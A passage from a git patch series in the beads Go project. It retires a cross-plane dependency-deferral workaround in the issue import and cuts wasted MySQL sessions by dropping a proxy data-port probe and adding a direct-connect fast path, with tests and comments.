earlier chunks (must ride inline). + // r1 -> w1 lands in the same chunk as its wisp target (rides inline); + // w3 -> f1 and w2 -> r2 point at earlier chunks (ride inline too). issues := []*types.Issue{ crossBucketTestIssue("bd-f1", false), crossBucketTestIssue("bd-f2", false), @@ -439,29 +427,19 @@ func TestImportChunkedCrossBucketEdgesDeferredToSinglePlanePass(t *testing.T) { if err != nil { t.Fatalf("importIssuesCore: %v", err) } - if store.calls != 4 { - t.Fatalf("calls = %d, want 3 row chunks + 1 single-plane dependency pass", store.calls) + if store.calls != 3 { + t.Fatalf("calls = %d, want 3 row chunks and NO dependency pass", store.calls) } for b := 0; b < 3; b++ { if store.conflictSkip[b] { t.Fatalf("batch %d is a row chunk but was submitted with ConflictSkip", b) } } - if !store.conflictSkip[3] { - t.Fatalf("batch 3 must be the dependency pass (ConflictSkip)") - } - assertNoSameBatchCrossBucketEdge(t, store) + assertEdgesCommitAfterTargets(t, store) - // The same-chunk cross-bucket edge is stripped from its row write and wired - // by the pass; the pass carries only that row. - if got := depTargetsIn(store, 1, "bd-r1"); len(got) != 0 { - t.Fatalf("bd-r1 row chunk carries deps %v, want none (same-chunk wisp target must be deferred)", got) - } - if len(store.batches[3]) != 1 || store.batches[3][0].ID != "bd-r1" { - t.Fatalf("dependency pass rows = %v, want exactly bd-r1", store.batches[3]) - } - if got := depTargetsIn(store, 3, "bd-r1"); len(got) != 1 || got[0] != "bd-w1" { - t.Fatalf("dependency pass deps for bd-r1 = %v, want [bd-w1]", got) + // The same-chunk cross-bucket edge rides inline with its row. + if got := depTargetsIn(store, 1, "bd-r1"); len(got) != 1 || got[0] != "bd-w1" { + t.Fatalf("bd-r1 inline deps = %v, want [bd-w1] (same-chunk wisp target rides inline)", got) } // Cross-bucket edges into earlier chunks ride inline with their rows. if got := depTargetsIn(store, 1, "bd-w3"); len(got) != 1 || got[0] != "bd-f1" { @@ -485,11 +463,11 @@ func TestImportChunkedCrossBucketEdgesDeferredToSinglePlanePass(t *testing.T) { } // A small import (at or below the chunk size) keeps its single transaction -// unless it carries a regular<->wisp edge between two of its own rows: that -// edge would be skip-reported by the engine's per-batch cross-bucket filter, -// so the import takes the chunked path and the edge lands in a dependency pass -// instead of being skip-reported. -func TestImportIssuesCoreSmallBatchCrossBucketEdgeTakesDependencyPass(t *testing.T) { +// even when it carries a regular<->wisp edge between two of its own rows: the +// engine writes that edge under SkipDependencyValidationErrors (wy-a648lq), +// so the chunked-path detour that once landed it in a dependency pass +// (wy-4276q8) is retired (wy-y52syc). +func TestImportIssuesCoreSmallBatchCrossBucketEdgeStaysInline(t *testing.T) { setImportChunkSize(t, 4) recordImportPauses(t) setImportProgressBuffer(t) @@ -504,21 +482,15 @@ func TestImportIssuesCoreSmallBatchCrossBucketEdgeTakesDependencyPass(t *testing if err != nil { t.Fatalf("importIssuesCore: %v", err) } - if store.calls != 2 { - t.Fatalf("calls = %d, want 1 row chunk + 1 dependency pass for a small import with a cross-bucket edge", store.calls) - } - if store.conflictSkip[0] || !store.conflictSkip[1] { - t.Fatalf("conflictSkip = %v, want [false true] (row chunk, then dependency pass)", store.conflictSkip) + if store.calls != 1 || store.conflictSkip[0] { + t.Fatalf("calls = %d conflictSkip = %v, want one inline transaction for a small import with a cross-bucket edge", store.calls, store.conflictSkip) } if len(store.batches[0]) != 2 { t.Fatalf("row chunk size = %d, want both rows", len(store.batches[0])) } - assertNoSameBatchCrossBucketEdge(t, store) - if got := depTargetsIn(store, 0, "bd-r1"); len(got) != 0 { - t.Fatalf("row chunk carries %v for bd-r1, want none", got) - } - if got := depTargetsIn(store, 1, "bd-r1"); len(got) != 1 || got[0] != "bd-w1" { - t.Fatalf("dependency pass deps for bd-r1 = %v, want [bd-w1]", got) + assertEdgesCommitAfterTargets(t, store) + if got := depTargetsIn(store, 0, "bd-r1"); len(got) != 1 || got[0] != "bd-w1" { + t.Fatalf("inline deps for bd-r1 = %v, want [bd-w1]", got) } if result.Created != 2 { t.Fatalf("Created = %d, want 2", result.Created) diff --git a/cmd/bd/import_from_jsonl_test.go b/cmd/bd/import_from_jsonl_test.go index f2bddb03d..a827f2a26 100644 --- a/cmd/bd/import_from_jsonl_test.go +++ b/cmd/bd/import_from_jsonl_test.go @@ -400,7 +400,7 @@ func TestImportFromLocalJSONL(t *testing.T) { } }) - t.Run("wires mixed regular and wisp in-batch dependencies through the dependency pass", func(t *testing.T) { + t.Run("wires mixed regular and wisp in-batch dependencies inline", func(t *testing.T) { tmpDir := t.TempDir() dbPath := filepath.Join(tmpDir, "dolt") store := newTestStore(t, dbPath) @@ -440,9 +440,15 @@ func TestImportFromLocalJSONL(t *testing.T) { if result.Created != 2 { t.Fatalf("Created = %d, want 2", result.Created) } - // The engine's per-batch cross-bucket filter would skip-report the - // regular -> wisp edge in a mixed batch, so the import defers it to a - // single-plane dependency pass instead (wy-4276q8). + // The engine writes an in-batch cross-plane edge under + // SkipDependencyValidationErrors (wy-a648lq), so this two-row mixed + // batch takes the small path and the regular -> wisp edge rides inline + // in its rows' own transaction; the chunked-path detour through a + // single-plane dependency pass it once needed (wy-4276q8) was retired + // by wy-y52syc. This is the real-engine guard for the small inline + // path's cross-plane behavior: the unit test's recording store + // (TestImportIssuesCoreSmallBatchCrossBucketEdgeStaysInline) pins the + // routing shape, this case pins the outcome against a real store. if len(result.SkippedDependencies) != 0 { t.Fatalf("SkippedDependencies = %#v, want none", result.SkippedDependencies) } @@ -457,7 +463,7 @@ func TestImportFromLocalJSONL(t *testing.T) { t.Fatalf("GetDependencyRecords(test-mixed-regular): %v", err) } if len(deps) != 1 || deps[0].DependsOnID != "test-mixed-wisp" { - t.Fatalf("test-mixed-regular deps = %#v, want the regular -> wisp edge wired by the dependency pass", deps) + t.Fatalf("test-mixed-regular deps = %#v, want the regular -> wisp edge wired inline", deps) } }) diff --git a/cmd/bd/import_shared.go b/cmd/bd/import_shared.go index ca3065fa0..7e0c9cce8 100644 --- a/cmd/bd/import_shared.go +++ b/cmd/bd/import_shared.go @@ -188,14 +188,12 @@ func importIssuesCore(ctx context.Context, _ string, store storage.DoltStorage, }, } var err error - if len(issues) <= importChunkSize && !hasCrossBucketBatchEdge(issues) { + if len(issues) <= importChunkSize { // Small import: one transaction, dependencies inline — exactly the - // pre-chunking behavior. A batch carrying a regular<->wisp edge still - // takes the chunked path: until wy-a648lq the engine's per-batch - // cross-bucket filter skip-reported such an edge whenever both - // endpoints were rows of one mixed batch, so it needed the single-plane - // dependency pass; the engine now writes it inline, and wy-y52syc - // retires this routing. + // pre-chunking behavior. A regular<->wisp edge between two of its + // rows rides inline too: the engine writes an in-batch cross-plane + // edge under SkipDependencyValidationErrors (wy-a648lq), so the + // chunked-path detour it once needed (wy-4276q8) is gone (wy-y52syc). err = store.CreateIssuesWithFullOptions(ctx, issues, actor, batchOpts) } else { err = importIssuesChunked(ctx, store, issues, actor, batchOpts) @@ -258,31 +256,22 @@ func assembleImportResult(issues []*types.Issue, staleSkippedIDs []string, chang // or an earlier chunk — Kahn's order for the acyclic majority, plus a // cycle-breaking fallback that still emits each cycle member before the rows it // blocks — so that edge rides inline with its row and both commit in one -// transaction. Only a force-emitted cycle member — or a row whose blocker is a -// same-chunk row on the other plane (regular<->wisp, see below) — can carry a -// readiness edge into the deferred pass. Outside those two cases a concurrent -// reader never observes an imported bead without the blocking edges its -// import file declares; for the cross-bucket case the window lasts until the -// dependency pass, and a crash before it leaves the bead spuriously ready until -// the import is re-run (which backfills the edge). +// transaction. Only a force-emitted cycle member can carry a readiness edge +// into the deferred pass; outside that case a concurrent reader never observes +// an imported bead without the blocking edges its import file declares. // // Only edges that cannot be satisfied when their row commits are deferred to // a final dependency pass: edges into an intra-batch dependency cycle // (invalid for blocking types; still broken and skip-reported at wire time, // though for a cycle of length >=3 the specific edge dropped — and thus which // member is left spuriously ready — can differ from the single-transaction -// import, which checks the whole cycle in file order), non-readiness edges -// (related, discovered-from) that point at a later chunk, and regular<->wisp -// edges whose target is first written in the same chunk: until wy-a648lq the -// engine's per-batch cross-bucket filter skip-reported any regular<->wisp edge -// whose endpoints were both rows of one mixed batch, whatever the transaction -// layout (it now writes such an edge under SkipDependencyValidationErrors, and -// wy-y52syc retires this deferral). Deferring such an edge opens -// a ready window like a cycle member's deferred edge — and a common one, since -// Kahn's order tends to place a blocker directly before its dependent, i.e. in -// the same chunk; dropping it — the import's former policy — lost it for good, -// and a re-run could never backfill it (wy-4276q8: every regular<->wisp -// `blocks` edge of a wyvern export was lost on restore). The dependency pass submits +// import, which checks the whole cycle in file order) and non-readiness edges +// (related, discovered-from) that point at a later chunk. A regular<->wisp +// edge is deferred by those rules alone, never for crossing planes: the +// engine writes an in-batch cross-plane edge under +// SkipDependencyValidationErrors (wy-a648lq), so the same-chunk deferral the +// import once needed (wy-4276q8: every regular<->wisp `blocks` edge of a +// wyvern export was lost on restore) is retired (wy-y52syc). The dependency pass submits // row copies stripped to those deferred edges with ConflictSkip set, so an // existing row is never rewritten: a concurrent update landing between a // row's chunk and the dependency pass cannot stale-reject the pass and drop @@ -301,18 +290,15 @@ func assembleImportResult(issues []*types.Issue, staleSkippedIDs []string, chang // still-unwired deferred edges), reported in StaleSkippedIDs. That is the // same local-wins outcome the single-transaction import gave a rival update // racing a crashed import, and it can only affect deferred edges (non-readiness -// edges, the readiness edges of force-emitted cycle members, and same-chunk -// regular<->wisp readiness edges); every other readiness edge commits with its -// row. +// edges and the readiness edges of force-emitted cycle members); every other +// readiness edge commits with its row. func importIssuesChunked(ctx context.Context, store storage.DoltStorage, issues []*types.Issue, actor string, opts storage.BatchCreateOptions) error { // Cross-bucket (regular<->wisp) edges are never filtered: since wy-a648lq // the engine writes an in-batch one under SkipDependencyValidationErrors // (every row of both planes is on the chunk's one tx before its dependency - // pass). partitionChunkedImportDeps still defers one whose target is first - // written in the SAME chunk to the single-plane dependency pass — the - // wy-4276q8 workaround for the per-batch filter the engine no longer - // applies, retired by wy-y52syc — and wires one into an earlier chunk - // inline (its target is then a committed row). See the ordering notes above. + // pass), so a same-chunk one rides inline like any other edge and only the + // chunk rule (target first written in a later chunk) defers. See the + // ordering notes above. ordered := orderImportIssuesForChunking(issues) // Partitioning narrows each issue's dependency slice to its inline subset in @@ -378,13 +364,9 @@ type deferredImportEdges struct { // chunk, so only non-readiness edges (related, discovered-from) into a later // chunk and the readiness edges of force-emitted cycle members (their own cyclic // edges, plus any acyclic blocker they were emitted ahead of) are ever deferred -// here — plus regular<->wisp edges whose target is first written in the same -// chunk (see splitDepsByChunk). +// here. func partitionChunkedImportDeps(ordered []*types.Issue) []deferredImportEdges { firstChunkOf := make(map[string]int, len(ordered)) - // Last row wins for the bucket, mirroring the engine's own per-batch - // plane check (issueops.validateCreateIssuesMixedBucketDependencies). - wispByID := make(map[string]bool, len(ordered)) for pos, issue := range ordered { if issue.ID == "" { continue // ID assigned by the engine at insert; nothing can reference it yet @@ -392,14 +374,13 @@ func partitionChunkedImportDeps(ordered []*types.Issue) []deferredImportEdges { if _, ok := firstChunkOf[issue.ID]; !ok { firstChunkOf[issue.ID] = pos / importChunkSize } - wispByID[issue.ID] = issueops.IsWisp(issue) } var deferred []deferredImportEdges for pos, issue := range ordered { if len(issue.Dependencies) == 0 { continue } - inline, later := splitDepsByChunk(issue.Dependencies, pos/importChunkSize, issueops.IsWisp(issue), firstChunkOf, wispByID) + inline, later := splitDepsByChunk(issue.Dependencies, pos/importChunkSize, firstChunkOf) if len(later) == 0 { continue } @@ -411,26 +392,18 @@ func partitionChunkedImportDeps(ordered []*types.Issue) []deferredImportEdges { // splitDepsByChunk partitions one row's dependencies (the row lands in rowChunk) // into edges that can be wired inline and edges that must be deferred: the -// target is first written in a later chunk, or the edge crosses the -// regular/wisp bucket boundary and its target is first written in the SAME -// chunk. Until wy-a648lq the engine's per-batch cross-bucket filter -// skip-reported a regular<->wisp edge whose endpoints were both rows of one -// mixed batch, and the import lost it (wy-4276q8); the engine now writes such -// an edge, and this deferral is kept only until wy-y52syc retires it. A -// cross-bucket edge into an earlier chunk points at a committed row outside -// the batch and rides inline like any other. -func splitDepsByChunk(deps []*types.Dependency, rowChunk int, rowIsWisp bool, firstChunkOf map[string]int, wispByID map[string]bool) (inline, later []*types.Dependency) { +// target is first written in a later chunk. Plane is not a criterion — a +// regular<->wisp edge whose target is a same- or earlier-chunk row rides +// inline, since the engine writes an in-batch cross-plane edge under +// SkipDependencyValidationErrors (wy-a648lq; the same-chunk deferral of +// wy-4276q8 was retired by wy-y52syc). +func splitDepsByChunk(deps []*types.Dependency, rowChunk int, firstChunkOf map[string]int) (inline, later []*types.Dependency) { for _, dep := range deps { if dep == nil { inline = append(inline, dep) continue } - targetChunk, inBatch := firstChunkOf[dep.DependsOnID] - if inBatch && targetChunk > rowChunk { - later = append(later, dep) - continue - } - if inBatch && targetChunk == rowChunk && crossesBucket(dep, rowIsWisp, wispByID) { + if targetChunk, inBatch := firstChunkOf[dep.DependsOnID]; inBatch && targetChunk > rowChunk { later = append(later, dep) continue } @@ -439,49 +412,6 @@ func splitDepsByChunk(deps []*types.Dependency, rowChunk int, rowIsWisp bool, fi return inline, later } -// crossesBucket reports whether dep joins a regular issue and a wisp. The -// source bucket is the owning row's unless the edge names another batch row -// as its source, mirroring the engine's per-batch check; the target must be a -// batch row (wispByID is keyed by batch IDs), so callers check membership. -func crossesBucket(dep *types.Dependency, rowIsWisp bool, wispByID map[string]bool) bool { - sourceIsWisp := rowIsWisp - if dep.IssueID != "" { - if isWisp, ok := wispByID[dep.IssueID]; ok { - sourceIsWisp = isWisp - } - } - return sourceIsWisp != wispByID[dep.DependsOnID] -} - -// hasCrossBucketBatchEdge reports whether any row's dependency points at -// another row of the same batch on the other plane (regular<->wisp). Until -// wy-a648lq the engine's per-batch cross-bucket filter skip-reported such an -// edge, so an import carrying one takes the chunked path and defers it to the -// single-plane dependency pass; the engine now writes it inline, and -// wy-y52syc retires this routing. -func hasCrossBucketBatchEdge(issues []*types.Issue) bool { - wispByID := make(map[string]bool, len(issues)) - for _, issue := range issues { - if issue != nil && issue.ID != "" { - wispByID[issue.ID] = issueops.IsWisp(issue) - } - } - for _, issue := range issues { - if issue == nil { - continue - } - for _, dep := range issue.Dependencies { - if dep == nil { - continue - } - if _, inBatch := wispByID[dep.DependsOnID]; inBatch && crossesBucket(dep, issueops.IsWisp(issue), wispByID) { - return true - } - } - } - return false -} - // writeImportRowChunks writes the ordered rows (dependencies already narrowed to // their inline subset) in bounded transactions, pausing between commits. func writeImportRowChunks(ctx context.Context, store storage.DoltStorage, ordered []*types.Issue, actor string, rowOpts storage.BatchCreateOptions, pacer *importChunkPacer) error { @@ -528,58 +458,24 @@ func wireDeferredImportDeps(ctx context.Context, store storage.DoltStorage, defe // callback unset keeps a phase-2 signal from ever misreporting a row // whose phase-1 write committed. depOpts.OnStaleRejected = nil - // Regular-source rows and wisp-source rows go in separate transactions. - // Until wy-a648lq the engine's per-batch cross-bucket filter skip-reported - // a regular<->wisp edge whose target row was in the same mixed batch, and - // a deferred cross-bucket edge's target may itself carry deferred edges — - // a mixed batch could re-trigger exactly the skip this pass existed to - // avoid. (The engine now writes such an edge; wy-y52syc retires the split.) - // That filter short-circuited on a single-plane batch, so with every batch - // on one plane nothing can be filtered, and every target is a committed - // phase-1 row. + // One plane per transaction is no longer required: the engine writes an + // in-batch regular<->wisp edge under SkipDependencyValidationErrors + // (wy-a648lq), so a mixed dependency-pass batch wires every edge whose + // target is a committed phase-1 row (the single-plane split of wy-4276q8 + // was retired by wy-y52syc). depTotal := len(depRows) - planes := splitDepRowsByBucket(depRows) - depChunks := 0 - for _, plane := range planes { - depChunks += (len(plane) + importChunkSize - 1) / importChunkSize - } - wired, chunk := 0, 1 - for _, plane := range planes { - for start := 0; start < len(plane); start += importChunkSize { - end := min(start+importChunkSize, len(plane)) - pacer.beforeTx() - if err := store.CreateIssuesWithFullOptions(ctx, plane[start:end], actor, depOpts); err != nil { - return fmt.Errorf("import dependency pass chunk %d/%d failed (all %d issue rows are committed; re-run the import to resume — it converges): %w", chunk, depChunks, rowTotal, err) - } - wired += end - start - chunk++ - fmt.Fprintf(importProgress, "bd import: deferred dependencies wired for %d/%d issues\n", wired, depTotal) //nolint:gosec // G705: stderr, not a browser context + depChunks := (depTotal + importChunkSize - 1) / importChunkSize + for start := 0; start < depTotal; start += importChunkSize { + end := min(start+importChunkSize, depTotal) + pacer.beforeTx() + if err := store.CreateIssuesWithFullOptions(ctx, depRows[start:end], actor, depOpts); err != nil { + return fmt.Errorf("import dependency pass chunk %d/%d failed (all %d issue rows are committed; re-run the import to resume — it converges): %w", start/importChunkSize+1, depChunks, rowTotal, err) } + fmt.Fprintf(importProgress, "bd import: deferred dependencies wired for %d/%d issues\n", end, depTotal) //nolint:gosec // G705: stderr, not a browser context } return nil } -// splitDepRowsByBucket partitions dependency-pass rows into the regular plane -// and the wisp plane, each in its original order; an empty plane is omitted. -func splitDepRowsByBucket(rows []*types.Issue) [][]*types.Issue { - var regular, wisp []*types.Issue - for _, row := range rows { - if issueops.IsWisp(row) { - wisp = append(wisp, row) - } else { - regular = append(regular, row) - } - } - var planes [][]*types.Issue - if len(regular) > 0 { - planes = append(planes, regular) - } - if len(wisp) > 0 { - planes = append(planes, wisp) - } - return planes -} - // orderImportIssuesForChunking returns the issues reordered so that every valid // readiness-affecting edge (blocks, parent-child, conditional-blocks, waits-for; // the types GetReadyWork consults) points at a row in the same or an earlier From f56632adcfabed7da6ed0aabe4e760066b472c46 Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Sat, 12 Sep 2026 09:38:01 -0700 Subject: [PATCH 048/624] perf(storage): stop burning two wasted MySQL sessions per bd invocation (wy-s8ytnw) (#6122) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * perf(storage): stop burning two wasted MySQL sessions per bd invocation (wy-s8ytnw) Every bd store-open against a shared dolt sql-server cost two sessions that did no work: 1. readAndDial's data-port probe (internal/storage/dbproxy/proxy/endpoint.go) dialed the proxy data port and closed it to "prove" it accepts. The proxy's handleConn dials the BACKEND for every accepted client connection before a byte flows, so the zero-byte probe was a full backend MySQL session on every invocation from a proxied clone — and it proved nothing the authenticated control-port identity reply had not: ListenAndServe binds the data listener before the control listener exists. Drop the probe; the identity reply is the liveness proof. (Deferring the backend dial until the first client byte was considered and rejected: MySQL is server-speaks-first, so a real client waits for the greeting and would deadlock.) 2. The no-database init connection. On the proxied/server uow path (openAndInitSchema) and the dolt.New server path (openServerConnection) bd opened a second, database-less pool per store-open purely to probe existence (SHOW DATABASES / the schema-init preparation) before opening the real pool. Both sites now try the database-scoped connection FIRST — keyed the way the Gateway case already is, not by deleting the probe: a successful connect is the existence proof, so the steady-state open (every open but the very first) costs one session. Any connect failure (1049 Unknown database, server down, bad credentials) falls through to the historical no-database path, which still owns creation, the #5042 ownership signal that arms FreshBootstrapHeal, databaseNotFoundError, and every existing error message. `created` is honestly false on the fast path; the uow provider reuses the init pool (nothing in the migration path mutates session state). New test TestReadAndDialAdoptsWithoutDialingDataPort pins the probe removal; it fails (1 accept) against the previous endpoint.go and passes now. Why the live server still saw a bare CREATE DATABASE per open despite openServerConnection's SHOW DATABASES guard (the question on wy-s8ytnw): that guard is not on the proxied path at all — the CREATE came from the uow schema-init preparation, already fixed upstream by #6022 (alreadyConverged); the deployed binary (71e5ad700) predates it (wy-7sx6cj). * fix(storage): cap the fast-path probe budget; correct the pool-reuse premise Maintainer review fixes for PR #6122. All four are non-gating minors (plus one nit) from the review synthesis; the quality scorecard's decision was approve with no required changes. - uow fast path no longer costs a second retry budget (finding 1). openDB's 30s transient-ping budget was spent twice against an unreachable server: once on the fast-path probe, whose error was discarded, and again on the fall-through open. Measured 0s + 19.8s where it was 19.8s twice; the returned "uow: ping db: ..." text is unchanged. The probe is now a single bounded ping, mirroring the sibling fast path in internal/storage/dolt, and the historical open keeps the retry budget it owned at base. Nothing is lost by not retrying here: the endpoint is already live when openAndInitSchema runs (GetCreateDatabaseProxyServerEndpoint), so the probe was never the thing waiting out a starting server. - Replace the pool-reuse comment's false premise (finding 2). "Nothing in the migration path mutates session state" is wrong: six shipped migrations clear FOREIGN_KEY_CHECKS and restore it, and the guarded ones leave user variables set. State the real invariant instead — one pinned session per attempt, paired restores inside each script, pool closed on every initSchema failure — and record the forward requirement in migrations/README.md, where migration authors will meet it. - Log why either fast path fell through (finding 3), matching lock.go's alreadyConverged idiom, so a fast path that has quietly stopped firing is visible under BD_DEBUG instead of silently costing the second session. - Amend both stale empty-DSN premise comments (finding 5, nit): selectProbeDatabase and alreadyConverged now describe both entry shapes. Finding 4 (a server-gated assertion on open-path selection) is left as the follow-up that the synthesis and the scorecard both marked optional. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: plato Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5 --- internal/storage/dbproxy/proxy/endpoint.go | 24 +-- .../proxy/endpoint_no_data_probe_test.go | 92 ++++++++++++ internal/storage/dolt/store.go | 49 ++++-- internal/storage/schema/converged.go | 17 ++- internal/storage/schema/migrations/README.md | 13 ++ internal/storage/uow/dolt_sql_provider.go | 142 +++++++++++++++--- 6 files changed, 283 insertions(+), 54 deletions(-) create mode 100644 internal/storage/dbproxy/proxy/endpoint_no_data_probe_test.go diff --git a/internal/storage/dbproxy/proxy/endpoint.go b/internal/storage/dbproxy/proxy/endpoint.go index 67192cf72..5d4b5d497 100644 --- a/internal/storage/dbproxy/proxy/endpoint.go +++ b/internal/storage/dbproxy/proxy/endpoint.go @@ -632,26 +632,18 @@ func readAndDial(rootDir string) adoptionResult { } } + // The authenticated identity reply above IS the liveness proof. Do not + // add a dial-and-close TCP probe of the data port here: the proxy dials + // its backend for every accepted client connection BEFORE any bytes flow + // (handleConn), so a zero-byte probe costs the shared dolt server a full + // MySQL session on every bd invocation while proving nothing the control + // port did not — ListenAndServe binds the data listener before the + // control listener exists, so an identity reply carrying this DataPort + // already implies the data listener is bound (wy-s8ytnw). ep := Endpoint{Host: "127.0.0.1", Port: pf.Port} - if !probePort(ep, identityProbeTimeout) { - return adoptionResult{ - status: adoptionIdentityMismatch, - pidfile: pf, - err: fmt.Errorf("authenticated proxy data port %d is not accepting connections", pf.Port), - } - } return adoptionResult{status: adoptionAdopted, endpoint: ep, pidfile: pf} } -func probePort(ep Endpoint, timeout time.Duration) bool { - conn, err := net.DialTimeout("tcp", ep.Address(), timeout) - if err != nil { - return false - } - _ = conn.Close() - return true -} - func isMalformedPIDFileError(err error) bool { var syntaxErr *json.SyntaxError var typeErr *json.UnmarshalTypeError diff --git a/internal/storage/dbproxy/proxy/endpoint_no_data_probe_test.go b/internal/storage/dbproxy/proxy/endpoint_no_data_probe_test.go new file mode 100644 index 000000000..292e693f3 --- /dev/null +++ b/internal/storage/dbproxy/proxy/endpoint_no_data_probe_test.go @@ -0,0 +1,92 @@ +package proxy + +import ( + "net" + "os" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/steveyegge/beads/internal/procid" + "github.com/steveyegge/beads/internal/storage/dbproxy/identity" + "github.com/steveyegge/beads/internal/storage/dbproxy/pidfile" +) + +// Adoption must be proven by the authenticated control-port identity reply +// alone. A dial-and-close probe of the DATA port is not free: the proxy dials +// its backend for every accepted client connection before any bytes flow, so +// such a probe burns one full MySQL session on the shared dolt server per bd +// invocation (wy-s8ytnw). This pins that readAndDial adopts a live proxy +// without ever connecting to its data port. +func TestReadAndDialAdoptsWithoutDialingDataPort(t *testing.T) { + root := t.TempDir() + token, err := procid.Capture(os.Getpid()) + require.NoError(t, err) + rootID, err := identity.RootID(root) + require.NoError(t, err) + + dataListener, err := net.Listen("tcp", "127.0.0.1:0") + require.NoError(t, err) + t.Cleanup(func() { _ = dataListener.Close() }) + dataPort := dataListener.Addr().(*net.TCPAddr).Port + + var dataAccepts atomic.Int32 + go func() { + for { + conn, acceptErr := dataListener.Accept() + if acceptErr != nil { + return + } + dataAccepts.Add(1) + _ = conn.Close() + } + }() + + _, err = identity.WriteSecret(root) + require.NoError(t, err) + var reply identity.IdentReply + var replyMu sync.RWMutex + control, err := startControl(root, func() identity.IdentReply { + replyMu.RLock() + defer replyMu.RUnlock() + return reply + }) + require.NoError(t, err) + t.Cleanup(func() { _ = control.Close() }) + replyMu.Lock() + reply = identity.IdentReply{ + Schema: pidfile.SchemaV2, + Role: pidfile.KindProxy, + RootID: rootID, + UpstreamID: "upstream", + PID: os.Getpid(), + Birth: string(token), + DataPort: dataPort, + ControlPort: control.Port(), + } + replyMu.Unlock() + require.NoError(t, pidfile.Write(root, PIDFileName, pidfile.PidFile{ + Schema: pidfile.SchemaV2, + Kind: pidfile.KindProxy, + Pid: os.Getpid(), + Birth: string(token), + Port: dataPort, + ControlPort: control.Port(), + RootID: rootID, + UpstreamID: "upstream", + })) + + got := readAndDial(root) + require.Equal(t, adoptionAdopted, got.status) + assert.Equal(t, dataPort, got.endpoint.Port) + + // A probe would have been accepted synchronously with the dial; give the + // accept goroutine a moment anyway so a regression cannot hide behind + // scheduling. + time.Sleep(50 * time.Millisecond) + assert.Equal(t, int32(0), dataAccepts.Load(), "readAndDial must not open a connection to the proxy data port") +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 2be25aeda..3672b4d31 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -2422,15 +2422,6 @@ func openServerConnection(ctx context.Context, cfg *Config) (*sql.DB, string, se return db, connStr, serverConnFacts{}, nil } - // Ensure database exists (may need to create it) - // First connect without database to create it - initConnStr := buildServerDSN(cfg, "") - initDB, err := sql.Open("mysql", initConnStr) - if err != nil { - return nil, "", serverConnFacts{}, fmt.Errorf("failed to open init connection: %w", err) - } - defer func() { _ = initDB.Close() }() - // Validate database name to prevent SQL injection via backtick escaping if err := ValidateDatabaseName(cfg.Database); err != nil { return nil, "", serverConnFacts{}, fmt.Errorf("invalid database name %q: %w", cfg.Database, err) @@ -2448,6 +2439,46 @@ func openServerConnection(ctx context.Context, cfg *Config) (*sql.DB, string, se cfg.Database, cfg.ServerPort) } + // Fast path (wy-s8ytnw), keyed the same way as Gateway above rather than + // by deleting the probe: connect straight to the target database. A + // successful connect IS the existence proof, so the steady-state open — + // a database that already exists, which is every open but the very + // first — skips the no-database init connection (one full MySQL + // session per bd invocation on a shared server) and its SHOW DATABASES. + // The facts are exact, not merely unproven as for Gateway: existence is + // established, and `created` is honestly false — this call created + // nothing, so fresh-bootstrap heal stays unarmed and the CreateIfMissing + // identity gate (GH#4637) sees alreadyExisted exactly as the SHOW + // DATABASES probe would have reported it. + // + // Any failure — Unknown database (1049) because it does not exist yet, + // server down, bad credentials — falls through to the historical + // probe-then-create path, which owns creation, the #5042 ownership + // signal, databaseNotFoundError, and every error message callers match. + pingErr := db.PingContext(ctx) + if pingErr == nil { + connReady = true + return db, connStr, serverConnFacts{alreadyExisted: true}, nil + } + + // Advisory only: the probe-then-create path below is the historical open, + // so a failure here is never fatal. But a silently discarded error is a + // fast path that has quietly stopped firing — here that means every open + // is back to burning the extra MySQL session this path exists to remove, + // with nothing to say so. Same reasoning as the convergence probe in + // internal/storage/schema/lock.go. + debug.Logf("dolt: direct-connect fast path unavailable for %q on %s:%d, using the no-database init connection: %v\n", + cfg.Database, cfg.ServerHost, cfg.ServerPort, pingErr) + + // Ensure database exists (may need to create it) + // First connect without database to create it + initConnStr := buildServerDSN(cfg, "") + initDB, err := sql.Open("mysql", initConnStr) + if err != nil { + return nil, "", serverConnFacts{}, fmt.Errorf("failed to open init connection: %w", err) + } + defer func() { _ = initDB.Close() }() + // Check if the database already exists before deciding whether to create it. // This prevents the shadow database bug: without CreateIfMissing, connecting // to a server that lacks the expected database is an error (not silent creation). diff --git a/internal/storage/schema/converged.go b/internal/storage/schema/converged.go index d3c923750..42d545b61 100644 --- a/internal/storage/schema/converged.go +++ b/internal/storage/schema/converged.go @@ -36,12 +36,17 @@ func alreadyConverged(ctx context.Context, db DBConn, databaseName string, selec return false, nil } - // Put the session on the target database first. The hot path — the proxied - // CLI open in uow.openAndInitSchema — pins its schema-init pool with an - // EMPTY DSN database and only USEs the database after GET_LOCK, so a probe - // that merely ASKED whether the session was already on databaseName read - // NULL from DATABASE() and declined on every single invocation: the fast - // path never fired where it was needed. + // Put the session on the target database first. Callers arrive in two + // shapes. The proxied CLI open in uow.openAndInitSchema now connects + // straight to the target database on its own steady-state path + // (wy-s8ytnw), so the session is already there and the DATABASE() read + // below is the whole cost. Its fall-through open — and, before that fast + // path existed, every invocation of the hot path — pins the schema-init + // pool with an EMPTY DSN database and only USEs the database after + // GET_LOCK, so a probe that merely ASKED whether the session was already + // on databaseName read NULL from DATABASE() and declined every single + // time: the fast path never fired where it was needed. The selector is + // what keeps that second shape working. onTarget, qualifier, err := selectTargetDatabase(ctx, db, databaseName, selector) if err != nil { return false, err diff --git a/internal/storage/schema/migrations/README.md b/internal/storage/schema/migrations/README.md index b71532594..c35e61b40 100644 --- a/internal/storage/schema/migrations/README.md +++ b/internal/storage/schema/migrations/README.md @@ -62,6 +62,19 @@ duplicate primary key given: [w2,external:e1] Normalize *after* dropping the generated column and its key, not before. (0058 normalizes before, and reaches the abort on any store whose rows collide.) +**Restore any session variable you set, in the script that set it.** Six +migrations here clear `FOREIGN_KEY_CHECKS` and restore it (0041, 0043, 0047, +0050, 0053, 0058); keep that shape. Since wy-s8ytnw the steady-state open in +`uow.openAndInitSchema` hands the pool that ran the migration straight to the +provider for live queries, so a system session variable still changed when a +script reports success leaks into ordinary queries. Pairing the SETs inside one +script is what makes that safe — `initSchemaAttempt` pins 